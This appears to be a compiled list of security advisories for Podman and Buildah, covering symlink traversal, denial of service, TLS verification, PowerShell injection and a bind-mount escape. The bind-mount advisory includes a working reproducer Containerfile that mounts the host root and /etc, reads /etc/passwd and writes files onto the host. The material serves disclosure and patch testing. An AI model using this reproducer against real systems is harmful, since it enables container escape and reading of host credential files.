github.com/containers/podman/v4 known bugs

### Impact The podman kube play command can overwrite host files when the kube file contains a ConfigMap or Secret volume mount and the volume already contains a symlink to a host file. This allows a malicious container to write to arbitrary files on the host BUT the attacker only controls the target path not the contents that will be written to the file. The contents are defined in the yaml file by the end user. ### Requirements to exploit: podman kube play must be used with a ConfigMap or Secret volume mount AND must be run more than once on the same volume. All the attacker has to do is create the malicious symlink on the volume the first time it is started. After that all following starts would follow the symlink and write to the host location. ### Patches Fixed in podman v5.6.1 https://github.com/containers/podman/commit/43fbde4e665fe6cee6921868f04b7ccd3de5ad89 ### Workarounds Don't use podman kube play with ConfigMap or Secret volume mounts. ### PR with test for CI Adding on 9/8/2025 by @TomSweeneyRedHat , this is the PR containing the test in CI: https://github.com/containers/podman/pull/27001

A flaw was found in Podman. This issue may allow an attacker to create a specially crafted container that, when configured to share the same IPC with at least one other container, can create a large number of IPC resources in /dev/shm. The malicious container will continue to exhaust resources until it is out-of-memory (OOM) killed. While the malicious container's cgroup will be removed, the IPC resources it created are not. Those resources are tied to the IPC namespace that will not be removed until all containers using it are stopped, and one non-malicious container is holding the namespace open. The malicious container is restarted, either automatically or by attacker control, repeating the process and increasing the amount of memory consumed. With a container configured to restart always, such as `podman run --restart=always`, this can result in a memory-based denial of service of the system.

A bug was found in Podman where containers were created with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during execve(2). This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set.

### Impact The podman machine init command fails to verify the TLS certificate when downloading the VM images from an OCI registry (which it does by default since 5.0.0) allowing a possible Man In The Middle attack. ### Patches https://github.com/containers/podman/commit/726b506acc8a00d99f1a3a1357ecf619a1f798c3 Fixed in v5.5.2 ### Workarounds Download the disk image manually via some other tool that verifies the TLS connection. Then pass the local image as file path (podman machine init --image ./somepath)

An incorrect handling of the supplementary groups in the Podman container engine might lead to the sensitive information disclosure or possible data modification if an attacker has direct access to the affected container where supplementary groups are used to set access permissions and is able to execute a binary code in that container.

Podman Creates Temporary File with Insecure Permissions in github.com/containers/podman

podman kube play symlink traversal vulnerability in github.com/containers/podman

Podman Improper Certificate Validation; machine missing TLS verification in github.com/containers/podman

Improper Input Validation in Buildah and Podman in github.com/containers/buildah

Podman vulnerable to memory-based denial of service in github.com/containers/podman

Podman Elevated Container Privileges in github.com/containers/podman

Podman Symlink Vulnerability in github.com/containers/libpod

A Time-of-check Time-of-use (TOCTOU) flaw appears in this version of podman. This issue may allow a malicious user to replace a normal file in a volume with a symlink while exporting the volume, allowing for access to arbitrary files on the host file system.

The local path and the lowest subdirectory may be disclosed due to incorrect absolute path traversal, resulting in an impact to confidentiality.

Buildah (as part of Podman) vulnerable to Link Following in github.com/containers/podman

Podman's default inheritable capabilities for linux container not empty in github.com/containers/podman

An issue was discovered in Podman in libpod before 1.6.0. It resolves a symlink in the host context during a copy operation from the container to the host, because an undesired glob operation occurs. An attacker could create a container image containing particular symlinks that, when copied by a victim user to the host filesystem, may overwrite existing files with others from the host.

A Time-of-check Time-of-use (TOCTOU) flaw was found in podman. This issue may allow a malicious user to replace a normal file in a volume with a symlink while exporting the volume, allowing for access to arbitrary files on the host file system.

## Summary A command injection vulnerability exists in Podman's HyperV machine backend. The VM image path is inserted into a PowerShell double-quoted string without sanitization, allowing `$()` subexpression injection. ## Affected Code **File**: `pkg/machine/hyperv/stubber.go:647` ```go resize := exec.Command("powershell", []string{ "-command", fmt.Sprintf("Resize-VHD \"%s\" %d", imagePath.GetPath(), newSize.ToBytes()), }...) ``` ## Root Cause PowerShell evaluates `$()` subexpressions inside double-quoted strings before executing the outer command. The `fmt.Sprintf` call places the user-controlled image path directly into double quotes without escaping or sanitization. ## Impact An attacker who can control the VM image path (through a crafted machine name or image directory) can execute arbitrary PowerShell commands with the privileges of the Podman process on the Windows host. On typical Windows installations, this means SYSTEM-level code execution. ## Patch https://github.com/containers/podman/commit/571c842bd357ee626019ea97d030fb772fc654ed The affected code is only used on Windows, all other operating systems are not affected by this and can thus ignore the CVE patch. ## Credit We like to thank Sang-Hoon Choi (@KoreaSecurity) for reporting this issue to us.

A vulnerability exists in the bind-propagation option of the Dockerfile RUN --mount instruction. The system does not properly validate the input passed to this option, allowing users to pass arbitrary parameters to the mount instruction. This issue can be exploited to mount sensitive directories from the host into a container during the build process and, in some cases, modify the contents of those mounted files. Even if SELinux is used, this vulnerability can bypass its protection by allowing the source directory to be relabeled to give the container access to host files.

### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman. ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Podman with the issue ``` setenforce 0 podman build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` podman rm -a podman rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 podman build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Podman. When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.

A vulnerability was found in buildah. Incorrect following of symlinks while reading .containerignore and .dockerignore results in information disclosure.

A flaw was found in Buildah. The local path and the lowest subdirectory may be disclosed due to incorrect absolute path traversal, resulting in an impact to confidentiality.